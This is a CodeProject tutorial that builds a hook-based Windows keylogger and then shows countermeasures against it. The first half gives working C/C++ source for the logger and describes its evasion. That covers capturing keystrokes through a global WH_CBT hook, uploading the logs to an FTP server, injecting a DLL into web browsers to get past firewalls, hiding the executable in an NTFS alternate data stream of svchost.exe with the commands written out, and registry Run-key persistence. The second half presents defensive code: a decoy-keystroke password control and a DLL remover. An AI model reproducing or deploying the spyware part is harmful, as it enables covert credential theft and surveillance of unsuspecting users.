Click here to Skip to main content
65,938 articles
CodeProject is changing. Read more.
Articles
(untagged)

Keyboard Spy: implementation and counter measures

0.00/5 (No votes)
9 May 2005 1  
An article on developing hook based key loggers and hook safe software.

Screen capture

Introduction

In this two parts article, I will examine a simple key logger implementation and suggest ways of defeating it. I hope this article will help you understand how hook based spy software work and how to better protect your software against it.

It should be noted that keyboard loggers can be implemented without the usage of hooks.

Background

Software based key loggers are a serious security threat as they are used to monitor user actions by capturing keystrokes. The monitoring can be used for malicious purposes such as credit cards numbers theft. Key loggers are a common component of Trojans, they operate quietly in the background and capture whatever the user types on the keyboard. The keystrokes are stored in a well-hidden file that is sent by either email or FTP to the spying person.

Part 1 - The Keyboard Spy

This is a simple straightforward hook based implementation.

Keyboard Spy Architecture

The keyboard spy is composed of three modules: the main module, the hook-procedure and the FTP module. The main module installs a global WH_CBT hook-procedure. The hook-procedure reports back to the main module every time a keyboard key was pressed. The main module logs all keystrokes to a file. When the log file reaches a certain predefined size, the main module commands the FTP module to upload the log file to an FTP server. The communications between the various modules are performed using window messages.

Sample image

The Main module window procedure:

/////////////////////////////////////////////////////////////////////////////

//

//  FUNCTION: WndProc(HWND, unsigned, WORD, LONG)

//

//  PURPOSE:  Processes messages for the main window.

//

//  MSG_MY_WM_KEYDOWN    - Process an application keystroke

//  MSG_MY_WM_SETFOCUS    - Process an application keystroke

//  MSG_WM_UPLOAD_FILE    - Process an FTP Module notification

//  WM_DESTROY    - post a quit message and return

//

//

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    if (message == MSG_MY_WM_KEYDOWN)
        return OnInterceptKeyStroke(wParam, lParam);

    if (message == MSG_MY_WM_SETFOCUS)
        return OnSetKeyboardFocus(wParam, lParam);

    if (message == MSG_WM_UPLOAD_FILE)
        return OnFileUploaded(wParam, lParam);
     
    switch (message)
    {    
    case WM_DESTROY:
        PostQuitMessage(0);
        break;
        
    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
    }
    return 0;
}

/////////////////////////////////////////////////////////////////////////////


LRESULT OnInterceptKeyStroke(WPARAM wParam, LPARAM lParam) 
{
    //If we are logging a new application we should print an appropriate header 

    if (g_hWinInFocus != g_hLastWin)
    {
        WriteNewAppHeader(g_hWinInFocus);  
        g_hLastWin = g_hWinInFocus;
    }
    
    if (wParam==VK_RETURN || wParam==VK_TAB)
    {
        WriteToLog('\n');
    }
    else
    {
        BYTE keyStateArr[256];
        WORD word;
        UINT scanCode = lParam;
        char ch;

        //Translate virtual key code to ascii

        GetKeyboardState(keyStateArr);
        ToAscii(wParam, scanCode, keyStateArr, &word, 0);
        ch = (char) word;
        
        if ((GetKeyState(VK_SHIFT) & 0x8000) && wParam >= 'a' && wParam <= 'z')
            ch += 'A'-'a';

        WriteToLog(ch); 

    }
    return 0;
}

/////////////////////////////////////////////////////////////////////////////


LRESULT OnSetKeyboardFocus(WPARAM wParam, LPARAM lParam) 
{
    g_hWinInFocus = (HWND)wParam;
    
    return S_OK;
}

/////////////////////////////////////////////////////////////////////////////


LRESULT OnFileUploaded(WPARAM wParam, LPARAM lParam) 
{
    //Log file was uploaded succesfully

    if (wParam)
    {
        DeleteFile(g_sSpyLogFileName2);
    }
    else
    {
        char temp[255];
        FILE* f1=fopen(g_sSpyLogFileName,"rt");
        FILE* f2=fopen(g_sSpyLogFileName2,"at");
        
        while (!feof(f1))
        {
            if (fgets(temp, 255, f1))
            {
                fputs(temp, f2);
            }
        }
        
        fclose(f1);
        fclose(f2);
        
        MoveFile(g_sSpyLogFileName2, g_sSpyLogFileName);
    }
    
    g_isUploading = false;
    return S_OK;
}

Global WH_CBT hooks

A system-wide hook is a function that is installed in all of the running processes to monitor messages before they reach the target window procedure. Hook procedures are used to monitor the system for various types of events such as keystrokes. You can install a hook procedure by calling the SetWindowsHookEx WinAPI and specifying the type of hook calling the procedure. A WH_CBT hook procedure is called before windows get focus and before keyboard events are removed from the system message queue. A global hook procedure is called in the context of all applications in the desktop, so the procedure must reside in a separate DLL from the application installing the hook procedure.

DLL shared memory area

A DLL shared memory area is a variable that is visible to all instances of the DLL. The main module stores its window handle on the shared memory area of the hook-procedure DLL which enables all instances of the hook-procedure to post window messages back to the main module.

The Hook-Procedure shared memory area and exported functions:

//////////////////////////////////////////////////////////////////////////

//Shared memory

#pragma data_seg(".adshared")
HWND g_hSpyWin = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:.adshared,RWS")

//////////////////////////////////////////////////////////////////////////


void CALLBACK SetSpyHwnd (DWORD hwnd)
{
    g_hSpyWin = (HWND) hwnd;
}

//////////////////////////////////////////////////////////////////////////


LRESULT CALLBACK HookProc (int nCode, WPARAM wParam, LPARAM lParam )
{                
    if (nCode == HCBT_KEYSKIPPED && (lParam & 0x40000000))
    {        
        if ((wParam==VK_SPACE)||(wParam==VK_RETURN)|| 
            (wParam==VK_TAB)||(wParam>=0x2f ) &&(wParam<=0x100)) 
        {
            ::PostMessage(g_hSpyWin, MSG_MY_WM_KEYDOWN, wParam, lParam);
        }
    }
    else if (nCode == HCBT_SETFOCUS)
    {
        ::PostMessage(g_hSpyWin, MSG_MY_WM_SETFOCUS, wParam, lParam);

        if (bInjectFtpDll && ::FindWindow(COMM_WIN_CLASS, NULL) == NULL)
        {
            HINSTANCE hFtpDll;
            Init InitFunc;

            if (hFtpDll = ::LoadLibrary(FTP_DLL_NAME))
            {
                if (InitFunc = (Init) ::GetProcAddress (hFtpDll,"Init"))
                {
                    (InitFunc)((DWORD)g_hSpyWin);
                }
            }

            bInjectFtpDll = false;
        }
    }

    return CallNextHookEx( 0, nCode, wParam, lParam);
}

The Main module InstallHook function:

typedef LRESULT (CALLBACK *HookProc)(int nCode, WPARAM wParam, LPARAM lParam);
typedef void (WINAPI *SetSpyHwnd)(DWORD);

HMODULE g_hHookDll =    NULL;
HHOOK   g_hHook =       NULL;

bool InstallHook(HWND hwnd)
{
    SetSpyHwnd SetHwndFunc;
    HookProc HookProcFunc;
    
    if (g_hHookDll = LoadLibrary(SPY_DLL_NAME))
    {
        if (SetHwndFunc = (SetSpyHwnd) ::GetProcAddress (g_hHookDll,"SetSpyHwnd"))
        {
            //Store Main Module HWND in to the shared memory

                        (SetHwndFunc)((DWORD)hwnd);
            
            if (HookProcFunc = (HookProc) ::GetProcAddress (g_hHookDll,"HookProc"))
            {
                if (g_hHook = SetWindowsHookEx(WH_CBT, HookProcFunc, g_hHookDll, 0))
                    return true;
            }
        }
    }
    
    return false;
}

Stealth

A spy program must hide its tracks to prevent detection. There are three major areas where stealth techniques must be employed: File system, Task manger and Firewalls. Assigning benign files names to all the binaries is essential. I kept the "shady" file names for the sake of clarity.

Task Manager Stealth

ADS is an NTFS feature that enables to fork a file data into existing files without affecting their functionality, size, or display to file browsing utilities like Windows Explorer. Files with an ADS are almost impossible to detect using native file browsing techniques. Once injected, the ADS can be executed by using traditional commands like type. When launched, the ADS executable will appear to run as the original file - looking undetectable to process viewers like Windows Task Manager. Using this method, it is not only possible to hide a file, but to also hide the execution of an illegitimate process. It is virtually impossible to natively protect your system against ADS hidden files if you use NTFS. The use of Alternate Data Streams is not a feature that can be disabled and currently there is no way to limit this capability against files that the user already has access to. The demo setup does not use Alternate Data Streams (ADS) for the sake of clarity.

You can use the following sample to manually use ADS:

Inject spy.exe to svchost.exe 
"type spy.exe > c:\windows\system32\svchost.exe:spy.exe" 

Run spy.exe
"start svchost.exe:spy.exe"

Firewall Stealth

Most firewall software will detect and block unauthorized programs from connecting to the Internet. The Main module uploads the log file to an FTP server using the FTP module. Firewall stealth is achieved by injecting the FTP module DLL to another already installed application. DLL injection means to force an unsuspecting running process to accept a DLL file that it never requested. I chose to inject the FTP module to either Internet Explorer or FireFox. DLL injection will outsmart most Firewall software, especially if the FTP server is listening on port 80 (HTTP port). The Hook-procedure DLL, which is loaded automatically in all running processes by SetWindowsHookEx, checks whether it was loaded in Internet Explorer or FireFox and loads (LoadLibrary) the FTP Module DLL. Calling LoadLibrary from DllMain is forbidden, so DllMain sets a Boolean variable that causes the hook procedure to call LoadLibrary.

Hook-procedure module DllMain.

BOOL APIENTRY DllMain( HANDLE hModule, 
           DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        {
            char processName[255];
            GetModuleFileName(GetModuleHandle( NULL ), 
                         processName, sizeof(processName) );

            strcpy(processName, _strlwr(processName));
            
            if (strstr(processName, "iexplore.exe") || 
                         strstr(processName, "firefox.exe"))
                bInjectFtpDll = true;
            break;
        }

    case DLL_THREAD_ATTACH: 
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Startup

Adding the spy program to the following registry key will launch it on startup time: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.

The demo setup program adds spy.exe as a new registry value.

Part 2 - Counteracting the Keyboard Spy

In this section, I'll demonstrate two simple techniques that will guard your application against hook based spies.

The spy safe password edit control

Sample image

The spy safe edit control generates a random sequence of simulated keystrokes for every user keystroke. A spy program will capture the user key strokes and the pseudo keystrokes, making it hard if not impossible to retrieve the actual text typed. The user input is stored in a member variable that is easily accessible to the application using the edit control. The pseudo keystrokes are generated using the SendInput WinAPI. I've implemented an MFC control and a .NET control.

The safe edit control assumes that SendInput generates keystrokes faster than the user. This might cause the safe edit to return false user data on slower machines especially when using the C# implementation.

MFC CSafeEdit:

void CSafeEdit::OnKeyUp(UINT nChar, UINT nRepCnt, UINT nFlags) 
{
    if (nChar == VK_SHIFT || nChar == VK_CONTROL || nChar == VK_MENU)
         return;

     if (nChar == VK_DELETE || nChar == VK_BACK)
     {
         SetWindowText("");
         m_sRealText = ""; 
         return;
     }

    if (m_state == 0)
    {
        m_iDummyKeyStrokesCount = SendDummyKeyStrokes();

        m_state = 1;

        CString text;
        GetWindowText(text);

        m_sRealText += text.Right(1);            
    }
    else
    {
        if (m_state++ >= m_iDummyKeyStrokesCount)            
            m_state = 0;
    }


    CEdit::OnKeyUp(nChar, nRepCnt, nFlags);
}

/////////////////////////////////////////////////////////////////////////////


CString CSafeEdit::GetRealText()
{
    return m_sRealText;
}

/////////////////////////////////////////////////////////////////////////////


int CSafeEdit::SendDummyKeyStrokes()
{
    srand((unsigned)::GetTickCount());
    int iKeyStrokeCount = rand() % 5 + 1;

    int key;
    INPUT inp[2];
    inp[0].type = INPUT_KEYBOARD;    
    inp[0].ki.dwExtraInfo = ::GetMessageExtraInfo();
    inp[0].ki.dwFlags = 0;
    inp[0].ki.time = 0;

    for (int i=0; i < iKeyStrokeCount; i++) 
    {
        key = rand() % ('Z'-'A') + 'A';
        inp[0].ki.wScan = key;
        inp[0].ki.wVk = key;

        inp[1] = inp[0];
        inp[1].ki.dwFlags = KEYEVENTF_KEYUP;

        SendInput(2, inp, sizeof(INPUT));    
    }

    return iKeyStrokeCount;
}
    
        

C# SafeEdit:

        public struct KEYDBINPUT 
        {
            public Int16 wVk;
            public Int16 wScan;
            public Int32 dwFlags;
            public Int32 time;
            public Int32 dwExtraInfo;
            public Int32 __filler1;
            public Int32 __filler2;
        }

        public struct INPUT
        {
            public Int32 type;
            public KEYDBINPUT ki;
        }

        [DllImport("user32")] public static extern int 
              SendInput( int cInputs, ref INPUT pInputs, int cbSize );

        protected void OnKeyUp(object sender, 
                  System.Windows.Forms.KeyEventArgs e)
        {
                if (e.KeyData == Keys.ShiftKey || e.KeyData == 
                            Keys.ControlKey || e.KeyData == Keys.Alt)
                    return;
        
                if (e.KeyData == Keys.Delete || e.KeyData == Keys.Back)
                {
                    Text = "";
                    m_sRealText = ""; 
                    return;
                }

            if (m_state == 0)
            {        
                m_iDummyKeyStrokesCount = SendDummyKeyStrokes();
                m_state = 1;
                m_sRealText += Text[Text.Length-1];            
            }
            else
            {
                if (m_state++ >= m_iDummyKeyStrokesCount)            
                    m_state = 0;
            }    
        }

        public int SendDummyKeyStrokes()
        {
            short key;
            Random rand = new Random();
            int iKeyStrokeCount = rand.Next(1, 6);

            INPUT inputDown = new INPUT();
            inputDown.type = INPUT_KEYBOARD;
            inputDown.ki.dwFlags = 0;

            INPUT inputUp = new INPUT();
            inputUp.type = INPUT_KEYBOARD;
            inputUp.ki.dwFlags = KEYEVENTF_KEYUP;

            for (int i=0; i < iKeyStrokeCount; i++)
            {
                key = (short) rand.Next('A', 'Z');
                inputDown.ki.wVk = key;
                SendInput( 1, ref inputDown, Marshal.SizeOf( inputDown ) );

                inputUp.ki.wVk = key;
                SendInput( 1, ref inputUp, Marshal.SizeOf( inputUp ) );

            }
            return iKeyStrokeCount;
        }

The SpyRemover class

Sample image

Hook based spy programs are dependent of their hook procedure DLL. Removing (FreeLibrary) the hook DLL from an application process will disable the spy ability to monitor keystrokes on that application. The demo hook safe application uses the SpyRemover class to remove hook DLL files. The SpyRemover constructor receives a list of "authorized modules". A module is said to be unauthorized if it is loaded in the application process and does not appear on this list. SpyRemover detects unauthorized modules by enumerating all of the application process modules.

VOID SpyRemover::TimerProc(HWND hwnd, UINT uMsg, 
                      unsigned int idEvent, DWORD dwTime)
{
    m_SpyRemover->EnumModules();
}

//////////////////////////////////////////////////////////////////


SpyRemover::SpyRemover(char* szAuthorizedList)
{
    m_SpyRemover = this;

    m_szAuthorizedList = " ";
    m_szAuthorizedList += szAuthorizedList;
    m_szAuthorizedList += " ";
         m_szAuthorizedList.MakeLower();

    ::SetTimer(NULL, 0, 500, TimerProc);
}

//////////////////////////////////////////////////////////////////////


void SpyRemover::EnumModules()
{
  DWORD dwPID = ::GetCurrentProcessId();
  HANDLE hModuleSnap = INVALID_HANDLE_VALUE; 
  MODULEENTRY32 me32; 
    
  //Take a snapshot of all modules in the process. 

  hModuleSnap = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, dwPID ); 
  if( hModuleSnap == INVALID_HANDLE_VALUE ) 
    return; 
 
  me32.dwSize = sizeof( MODULEENTRY32 ); 
 
  //Retrieve information about the first module (application.exe) 

  if( !Module32First( hModuleSnap, &me32 ) ) 
  { 
      CloseHandle( hModuleSnap );     
      return; 
  } 
  
  //Walk the module list of the process 

  do 
  { 
      if (!IsModuleAuthorized(me32.szModule))
      {
          HMODULE hmodule = me32.hModule;
          CloseHandle(hModuleSnap); 
          FreeLibrary(hmodule);
          return; 
      }
      
  } while( Module32Next( hModuleSnap, &me32 ) ); 
  
  CloseHandle(hModuleSnap); 
}

//////////////////////////////////////////////////////////////////////


bool SpyRemover::IsModuleAuthorized(char* szModuleName)
{
    char szModule[1024];
    sprintf(szModule, " %s ", szModuleName);
    strcpy(szModule, _strlwr(szModule));

    if (strstr(m_szAuthorizedList, szModule))
        return true;
    else
        return false;
}

Useful utilities

Process Explorer by Sysinternals.

Disclaimer

THIS WORK IS PROVIDED ON AN "AS IS" BASIS. THE AUTHOR PROVIDES NO WARRANTY WHATSOEVER, EITHER EXPRESS OR IMPLIED, REGARDING THE WORK, INCLUDING WARRANTIES WITH RESPECT TO ITS MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE.

License

This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below.

A list of licenses authors might use can be found here